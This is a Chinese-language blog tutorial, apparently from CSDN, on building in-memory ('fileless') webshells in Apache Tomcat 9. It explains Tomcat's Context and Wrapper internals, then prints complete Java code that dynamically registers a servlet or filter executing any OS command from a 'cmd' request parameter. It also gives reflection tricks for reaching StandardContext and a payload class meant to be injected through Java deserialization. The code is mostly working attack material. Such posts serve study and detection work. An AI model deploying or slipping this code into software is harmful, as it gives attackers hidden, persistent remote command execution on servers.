• Javaweb安全——Tomcat 内存马基础


    Tomcat 内存马基础

    无文件落地的 webshell 技术,即对访问路径映射及相关处理代码的动态注册,通常配合反序列化或者spel表达式注入进行类加载写入。

    本文环境 Tomcat 9.0.59 作为中间件,且并没有配置spring框架,代码具体实现与中间件有关。

    image-20220816213645823

    tomcat-servlet基础

    Tomcat 的总体结构

    img

    • Server:整个Tomcat服务器,一个Tomcat只有一个Server;

    • Service:Server中的一个逻辑功能层, 一个Server可以包含多个Service;

    • Connector:称作连接器,是Service的核心组件之一,一个Service可以有多个Connector,主要是连接客户端请求;

    • Container:Service的另一个核心组件,按照层级有Engine,Host,Context,Wrapper四种,一个Service只有一个Engine,其主要作用是执行业务逻辑;

      image-20220808160853741

      image-20220808161153553

    Context容器

    Context 代表 Servlet 的上下文环境,指独立的一个Web应用。它具备了 Servlet 运行的基本环境,理论上只要有 Context 就能运行 Servlet 了。简单的 Tomcat 可以没有 Engine 和 Host。

    StandardContext类是Context接口的标准实现:

    image-20220808160627913

    Tomcat中的三种Context

    image-20220813003533938

    通过request.getServletContext() 获取到的是ApplicationContextFacade对象,是ApplicationContext 外观对象

    • ServerletContext(接口)

      ServletContext是Servlet规范中规定的ServletContext接口,定义了与该servlet通信的一系列方法。

    • ApplicationContext

      ApplicationContext是Tomcat对ServerletContext接口的实现类,后面动态添加组件的方法实现就在其中。

      由上图可知该类被包装在ApplicationContextFacade类中(使用了门面模式也叫外观模式)。

      为什么servlet通过ApplicationContextFacade间接(而不是直接)访问Tomcat ApplicationContext(ServletContext)

    • StandardContext

      org.apache.catalina.Context接口的默认实现为StandardContext,而Context在Tomcat中代表一个web应用。

      从上图也可以看到ApplicationContext像对StandardContext的一种封装,其context属性即为StandardContext

      image-20220813010554945

      查看ApplicationContext源码可以看到,其所实现的方法其实都是调用的context(StandardContext)中的方法,StandardContext是Tomcat中真正起作用的Context。

    从三者的关系可以当发现request存在的时候我们可以通过反射来获取StandardContext对象:

    request.getServletContext().context.context

    StandardContext对象也是后面动态注册组件的基础。

    Wrapper容器

    Wrapper 代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。

    StandardWrapper类是Wrapper接口的标准实现:

    image-20220808160801815

    Servlet的三大基础组件

    Servlet、Filter 、Listener ;处理请求时,处理顺序如下:

    Request → Listener → Filter → Servlet

    • Servlet: 最基础的控制层组件,用于动态处理前端传递过来的请求,每一个Servlet都可以理解成运行在服务器上的一个java程序;生命周期:从Tomcat的Web容器启动开始,到服务器停止调用其destroy()结束;驻留在内存里面
    • Filter:过滤器,过滤一些非法请求或不当请求,一个Web应用中一般是一个filterChain链式调用其doFilter()方法,存在一个顺序问题。
    • Listener:监听器,以ServletRequestListener为例,ServletRequestListener主要用于监听ServletRequest对象的创建和销毁,一个ServletRequest可以注册多个ServletRequestListener接口(都有request来都会触发这个)。

    动态添加组件

    在Servlet3.0中可以动态注册Servlet,Filter,Listener(一般只能在应用初始化时调用),在ServletContext对应的接口为:

     /**
       * 添加Servlet
       */
      public ServletRegistration.Dynamic addServlet(String servletName,
          String className);
    
      public ServletRegistration.Dynamic addServlet(String servletName,
          Servlet servlet);
    
      public ServletRegistration.Dynamic addServlet(String servletName,
          Class<? extends Servlet> servletClass);
    
    <T extends Servlet> T createServlet(Class<T> var1) throws ServletException;
    
      /**
       * 添加Filter
       */
      public FilterRegistration.Dynamic addFilter(String filterName,
          String className);
    
      public FilterRegistration.Dynamic addFilter(String filterName, Filter filter);
    
      public FilterRegistration.Dynamic addFilter(String filterName,
          Class<? extends Filter> filterClass);
    
    <T extends Filter> T createFilter(Class<T> var1) throws ServletException;
    
    
      /**
       * 添加Listener
       */
      public void addListener(String className);
    
      public <T extends EventListener> void addListener(T t);
    
      public void addListener(Class<? extends EventListener> listenerClass);
    
    <T extends EventListener> T createListener(Class<T> var1) throws ServletException;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38

    Servlet

    具体的实现还要看具体的容器,下面以tomcat9.0.56为例。

    从上面的tomcat结构中可以看到Warpper封装了Servlet,如果想要添加一个Servlet,需要创建一个Warpper(StandardWrapper)包裹他来挂载到Context(StandardContext中)

    查看ServletContext接口的具体实现org.apache.catalina.core.ApplicationContext#addServlet方法。

    image-20220813214543505

    Wrapper的创建在org.apache.catalina.core.StandardContext#createWrapper当中;

    image-20220813220222293

    再回到addServlet方法接着来看,其实就是把servlet注册到context里

    image-20220813222742228

    为了让访问url能匹配到具体的Servlet,接着还得再把url路径和 Wrapper 对象(Servlet)做映射:

    通过ApplicationServletRegistration#addMapping 方法调用 StandardContext#addServletMappingDecoded 方法,在 mapper 中添加 URL 路径与 Wrapper 对象的映射(Wrapper 通过 this.children 中根据 name 获取)

    image-20220814002001040

    同时在StandardContext#servletMappings属性中添加 URL 路径与 name 的映射。

    image-20220814002046944

    详细的启动过程可以参考tomcat源码分析03:Context启动流程

    在Spring mvc中添加servlet就是用上面的方法实现:

    image-20220814004843563

    具体实现的时候可以直接去调用addServletMappingDecoded方法,相当于手动走一遍addServlet方法的流程;也可以通过反射去设置LifecycleState的值为STARTING_PREP调用addServlet方法注册servlet完之后再设置回原值。

    这里参照su18文章中的代码实现直接去调用addServletMappingDecoded方法,写的是servlet,写jsp也是一样的jsp本来也是一种特殊的servlet。

    代码实现如下:

    package test;
    
    import org.apache.catalina.Wrapper;
    import org.apache.catalina.core.StandardContext;
    
    import javax.servlet.ServletContext;
    import javax.servlet.ServletException;
    import javax.servlet.annotation.WebServlet;
    import javax.servlet.http.HttpServlet;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.BufferedInputStream;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.PrintWriter;
    import java.lang.reflect.Field;
    
    @WebServlet("/addTomcatServletMemShell")
    public class TomcatServletMemShell extends HttpServlet {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    
            try {
    
                String servletName = "ServletMemShell";
    
                // 从 request 中获取 servletContext
                ServletContext servletContext = req.getServletContext();
    
                // 如果已有此 servletName 的 Servlet,则不再重复添加
                if (servletContext.getServletRegistration(servletName) == null) {
    
                    StandardContext o = null;
    
                    // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                    while (o == null) {
                        Field f = servletContext.getClass().getDeclaredField("context");
                        f.setAccessible(true);
                        Object object = f.get(servletContext);
    
                        if (object instanceof ServletContext) {
                            servletContext = (ServletContext) object;
                        } else if (object instanceof StandardContext) {
                            o = (StandardContext) object;
                        }
                    }
    
                    // 创建自定义 Servlet
                    HttpServlet evilServlet = new HttpServlet() {
                        @Override
                        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
                            this.doPost(req, resp);
                        }
    
                        @Override
                        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
                            String cmd = req.getParameter("cmd");
                            if (cmd != null) {
                                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                                BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
                                int len;
                                while ((len = bufferedInputStream.read()) != -1) {
                                    resp.getWriter().write(len);
                                }
                            }
                        }
                    };
    
                    // 使用 Wrapper 封装 Servlet
                    Wrapper wrapper = o.createWrapper();
                    wrapper.setName(servletName);
                    wrapper.setLoadOnStartup(1);
                    //将自定义Servlet类实例设置进入 反射的话使用servletClass.newInstance()
                    wrapper.setServlet(evilServlet);
                    wrapper.setServletClass(evilServlet.getClass().getName());
    
                    // 向 children 中添加 wrapper
                    o.addChild(wrapper);
    
                    // 添加 servletMappings
                    o.addServletMappingDecoded("/ServletMemShell", servletName);
    
                    PrintWriter writer = resp.getWriter();
                    writer.println("tomcat servlet added");
    
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92

    image-20220814195702323

    wrapper.setLoadOnStartup(1);这句代码的作用是让容器在应用启动时就加载并初始化这个servlet,说人话就是添加完就加载了。当然不设置这个值也是可以的,默认值为-1 即在第一次访问时加载。

    image-20220814215723154

    web.xml中load-on-startup的作用

    1. load-on-startup 元素标记容器是否应该在web应用程序启动的时候就加载这个servlet,(实例化并调用其init()方法)。
    2. 它的值必须是一个整数,表示servlet被加载的先后顺序。
    3. 如果该元素的值为负数或者没有设置,则容器会当Servlet被请求时再加载。
    4. 如果值为正整数或者0时,表示容器在应用启动时就加载并初始化这个servlet,值越小,servlet的优先级越高,就越先被加载。值相同时,容器就会自己选择顺序来加载。

    Filter

    查看org.apache.catalina.core.ApplicationContext#addFilter方法。其实和addServlet方法差不多,同样的还没有将这个 Filter 和url做映射。

    image-20220814233609706

    通过ApplicationFilterRegistration#addMappingForUrlPatterns设置映射。

    image-20220815001406948

    image-20220815001417248

    通过下图可见Tomcat 处理一次请求对应的 FilterChain过程

    image-20220815001717365

    每次请求的 FilterChain 是动态匹配获取和生成的,如果想添加一个 Filter ,需要在 StandardContext 中 filterMaps 中添加 FilterMap,在 filterConfigs 中添加 ApplicationFilterConfig。

    • filterMaps变量:含有所有filter的URL映射关系
    • filterDefs变量: 含有所有filter包括实例在内等变量
    • filterConfigs 变量:含有所有与filter对应的filterDef信息及filter实例,并对filter进行管理

    第一步上面已经解决了,第二步通过StandardContext#filterStart 方法生成filterConfigs来添加。

    image-20220815002530242

    最后还要把这个filter加到filterMaps中第一位,在所有filter前执行以免一些奇奇怪怪的问题(如shiro的反序列化利用)。

    参照threedr3am师傅的基于tomcat的内存 Webshell 无文件攻击技术文章中的实现,代码如下:

    package test;
    
    import org.apache.catalina.core.ApplicationContext;
    import org.apache.catalina.core.StandardContext;
    
    import javax.servlet.*;
    import javax.servlet.annotation.WebServlet;
    import javax.servlet.http.HttpFilter;
    import javax.servlet.http.HttpServlet;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.BufferedInputStream;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.PrintWriter;
    import java.lang.reflect.Field;
    
    @WebServlet("/addTomcatFilterMemShell")
    public class TomcatFilterMemShell extends HttpServlet {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
    
            try {
    
                String filterName = "FilterMemShell";
    
                // 从 request 中获取 servletContext
                ServletContext servletContext = req.getServletContext();
    
                // 如果已有此 filterName 的 Filter,则不再重复添加
                if (servletContext.getFilterRegistration(filterName) == null) {
    
                    StandardContext standardContext = null;
    
                    // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                    if (servletContext != null){
                        Field ctx = servletContext.getClass().getDeclaredField("context");
                        ctx.setAccessible(true);
                        ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);
    
                        Field stdctx = appctx.getClass().getDeclaredField("context");
                        stdctx.setAccessible(true);
                        standardContext = (StandardContext) stdctx.get(appctx);
                    }
    
                    // 创建自定义 Filter 对象
                    HttpFilter evilFilter = new HttpFilter() {
                        public void destroy() {}
    
                        @Override
                        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
                                throws IOException, ServletException {
                            HttpServletRequest req = (HttpServletRequest) request;
                            HttpServletResponse resp = (HttpServletResponse) response;
                            String cmd = req.getParameter("cmd");
                            if (cmd != null) {
                                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                                BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
                                int len;
                                while ((len = bufferedInputStream.read()) != -1) {
                                    resp.getWriter().write(len);
                                }
                            }
                            doFilter((HttpServletRequest) request, (HttpServletResponse) response, chain);
                        }
                    };
                    //修改context状态
                    java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
                    stateField.setAccessible(true);
                    stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
    
                    // 创建 FilterDef 对象
                    javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, evilFilter);
                    filterRegistration.setInitParameter("encoding", "utf-8");
                    filterRegistration.setAsyncSupported(false);
                    //添加映射
                    filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});
                    //状态恢复,要不然服务不可用
                    if (stateField != null) {
                        stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
                    }
    
                    if (standardContext != null) {
                        //在 filterConfigs 中添加 ApplicationFilterConfig使得filter生效
                        java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
                        filterStartMethod.setAccessible(true);
                        filterStartMethod.invoke(standardContext, null);
    
                        //把filter插到第一位
                        org.apache.tomcat.util.descriptor.web.FilterMap[] filterMaps = standardContext.findFilterMaps();
                        for (int i = 0; i < filterMaps.length; i++) {
                            if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {
                                org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
                                filterMaps[i] = filterMaps[0];
                                filterMaps[0] = filterMap;
                                break;
                            }
                        }
                    }
                }
    
                    PrintWriter writer = resp.getWriter();
                    writer.println("tomcat filter added");
    
            } catch (Exception e) {
                e.printStackTrace();
            }
    
    
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111

    image-20220815005619351

    获取StandardContext对象

    上面的例子当中是从Servlet的request对象中进行获取,request.getServletContext().context.context,但通过上传一个jsp文件去注册内存马只满足有上传点,得到webshell后的去做持久化后门的情况。

    实际当中还有不少反序列化的漏洞点需要打内存马做一个持久化,即有类加载的能力。这时候再用上面的办法,request对象都没了自然是不行的。

    这里只介绍两种比较常用的方法,更多姿势可以看这篇文章:Java内存马:一种Tomcat全版本获取StandardContext的新方法

    从ContextClassLoader获取

    Tomcat 8 9

    Tomcat处理请求中,存在Thread ContextClassLoader(线程上下文类加载器),而这个对象的resources属性中又保存了StandardContext对象。

    https://blog.51cto.com/nxlhero/2697891

    Thread Context ClassLoader意义就是:⽗Classloader可以使⽤当前线程Thread.currentthread().getContextLoader()中指定的classloader中加载的类。颠覆了⽗ClassLoader不能使⽤⼦Classloader或者是其它没有直接⽗⼦关系的Classloader中加载的类这种情况。这个就是Thread Context ClassLoader的意义。⼀个线程的默认ContextClassLoader是继承⽗线程的,可以调⽤set重新 设置,如果在main线程⾥查看,它就是AppClassLoader。

    image-20220816012232081

    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    
    StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
    
    • 1
    • 2
    • 3

    从ThreadLocal获取request

    Tomcat 7 8 9

    kingkk师傅 Tomcat中一种半通用回显方法这篇文章中的方法。

    利用点在org.apache.catalina.core.ApplicationFilterChain

    image-20220816015338643

    image-20220816183034050

    通过反射修改ApplicationDispatcher.WRAP_SAME_OBJECT为true,并且对lastServicedRequestlastServicedResponse这两个ThreadLocal变量进行初始化,默认为null

    ServletRequest servletRequest = null;
        try {
            //修改 WRAP_SAME_OBJECT 值为 true
            java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            java.lang.reflect.Field modifiersField = WRAP_SAME_OBJECT_FIELD.getClass().getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
            WRAP_SAME_OBJECT_FIELD.setAccessible(true);
            if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)) {
                WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
            }
    
            //初始化 lastServicedRequest lastServicedResponse
            java.lang.reflect.Field lastServicedRequestField = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");
            java.lang.reflect.Field lastServicedResponseField = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");
    
            modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
            modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
    
            lastServicedRequestField.setAccessible(true);
            lastServicedResponseField.setAccessible(true);
            if (lastServicedRequestField.get(null) == null || lastServicedResponseField.get(null) == null) {
                lastServicedRequestField.set(null, new ThreadLocal());
                lastServicedResponseField.set(null, new ThreadLocal());
            }
    
            ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
            //不为空则意味着第一次反序列化的准备工作已成功
            if (threadLocal != null && threadLocal.get() != null) {
                servletRequest = (ServletRequest) threadLocal.get();
            }
            if (servletRequest != null)
                servletRequest.getServletContext();
        }catch (Throwable t){}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34

    image-20220816203328254

    反序列化注入内存马

    这里只做一个demo演示效果,后面再补fastjson shiro log4j打内存马的内容。

    添加cc依赖

    image-20220817163919605

    @WebServlet("/test")
    public class index extends HttpServlet {
    
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
            resp.getWriter().println("hello memshell");
        }
        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
            InputStream inputStream = req.getInputStream();
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            try {
                objectInputStream.readObject();
            } catch (ClassNotFoundException e) {
                e.printStackTrace();
            }
            resp.getWriter().write("Success");
        }
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    这里为了方便生成,把两部分拼一块了

    package MemoryShell;
    
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    import org.apache.catalina.core.ApplicationContext;
    import org.apache.catalina.core.StandardContext;
    
    import javax.servlet.*;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.BufferedInputStream;
    import java.io.IOException;
    import java.io.InputStream;
    import java.lang.reflect.Field;
    
    public class MyTomcatInject extends AbstractTranslet implements Filter {
        static {
            try {
    
                String filterName = "FilterMemShell";
    
                // 从ThreadLocal获取request
                ServletRequest servletRequest = null;
                        //修改 WRAP_SAME_OBJECT 值为 true
                java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
                java.lang.reflect.Field modifiersField = WRAP_SAME_OBJECT_FIELD.getClass().getDeclaredField("modifiers");
                modifiersField.setAccessible(true);
                modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
                WRAP_SAME_OBJECT_FIELD.setAccessible(true);
                if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)) {
                    WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
                }
    
                //初始化 lastServicedRequest lastServicedResponse
                java.lang.reflect.Field lastServicedRequestField = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");
                java.lang.reflect.Field lastServicedResponseField = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");
    
                modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
                modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
    
                lastServicedRequestField.setAccessible(true);
                lastServicedResponseField.setAccessible(true);
                if (lastServicedRequestField.get(null) == null || lastServicedResponseField.get(null) == null) {
                    lastServicedRequestField.set(null, new ThreadLocal());
                    lastServicedResponseField.set(null, new ThreadLocal());
                }
    
                ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
                //不为空则意味着第一次反序列化的准备工作已成功
                if (threadLocal != null && threadLocal.get() != null) {
                    servletRequest = (ServletRequest) threadLocal.get();
                }
                //获取 servletContext
                ServletContext servletContext = null;
                if (servletRequest != null) {
                    servletContext = servletRequest.getServletContext();
                }
    
                // 如果已有此 filterName 的 Filter,则不再重复添加
                if (servletContext.getFilterRegistration(filterName) == null) {
    
                    StandardContext standardContext = null;
    
                    // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                    if (servletContext != null){
                        Field ctx = servletContext.getClass().getDeclaredField("context");
                        ctx.setAccessible(true);
                        ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);
    
                        Field stdctx = appctx.getClass().getDeclaredField("context");
                        stdctx.setAccessible(true);
                        standardContext = (StandardContext) stdctx.get(appctx);
                    }
    
                    // 创建自定义 Filter 对象
                    Filter evilFilter =new MyTomcatInject();
                    //修改context状态
                    java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
                    stateField.setAccessible(true);
                    stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
    
                    // 创建 FilterDef 对象
                    javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, evilFilter);
                    filterRegistration.setInitParameter("encoding", "utf-8");
                    filterRegistration.setAsyncSupported(false);
                    //添加映射
                    filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});
                    //状态恢复,要不然服务不可用
                    if (stateField != null) {
                        stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
                    }
    
                    if (standardContext != null) {
                        //在 filterConfigs 中添加 ApplicationFilterConfig使得filter生效
                        java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
                        filterStartMethod.setAccessible(true);
                        filterStartMethod.invoke(standardContext, null);
    
                        //把filter插到第一位
                        org.apache.tomcat.util.descriptor.web.FilterMap[] filterMaps = standardContext.findFilterMaps();
                        for (int i = 0; i < filterMaps.length; i++) {
                            if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {
                                org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
                                filterMaps[i] = filterMaps[0];
                                filterMaps[0] = filterMap;
                                break;
                            }
                        }
                    }
                }
    
    
    
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
    
        }
    
        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            HttpServletRequest req = (HttpServletRequest) servletRequest;
            HttpServletResponse resp = (HttpServletResponse) servletResponse;
            String cmd = req.getParameter("cmd");
            if (cmd != null) {
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
                int len;
                while ((len = bufferedInputStream.read()) != -1) {
                    resp.getWriter().write(len);
                }
            }
        }
    
        @Override
        public void destroy() {
    
        }
    
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
        }
    
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133
    • 134
    • 135
    • 136
    • 137
    • 138
    • 139
    • 140
    • 141
    • 142
    • 143
    • 144
    • 145
    • 146
    • 147
    • 148
    • 149
    • 150
    • 151
    • 152
    • 153
    • 154
    • 155
    • 156

    然后用CC3的链子生成ser文件,curl打过去。

    发两遍包,一遍初始化两个ThreadLocal,第二遍注册filter

    image-20220817170131730

    image-20220817170148888

    参考

    https://mp.weixin.qq.com/s/D0ACXtPsj91chP4zmGpUjQ

    https://yzddmr6.com/posts/tomcat-context/

    https://www.anquanke.com/post/id/273250

    https://xz.aliyun.com/t/9914

    https://xz.aliyun.com/t/7388#toc-1

  • 相关阅读:
    LangChain实战技巧之五:让模型“自动生成”Prompt(提示词)的两种方式
    3分钟带你了解微信小程序开发
    小胶质细胞仅仅是神经系统内的“配角”?
    (五)正点原子STM32MP135移植——烧录
    无人机/FPV穿越机的遥控器/接收机等配件厂商
    猿创征文|我这样看国产【达梦】数据库的
    CROS和JSONP配置
    java中SimpleDateFormat解析日期格式的问题
    [汇编语言]转移指令的原理
    Leetcode 503.下一个更大元素Ⅱ
  • 原文地址:https://blog.csdn.net/weixin_43610673/article/details/126391108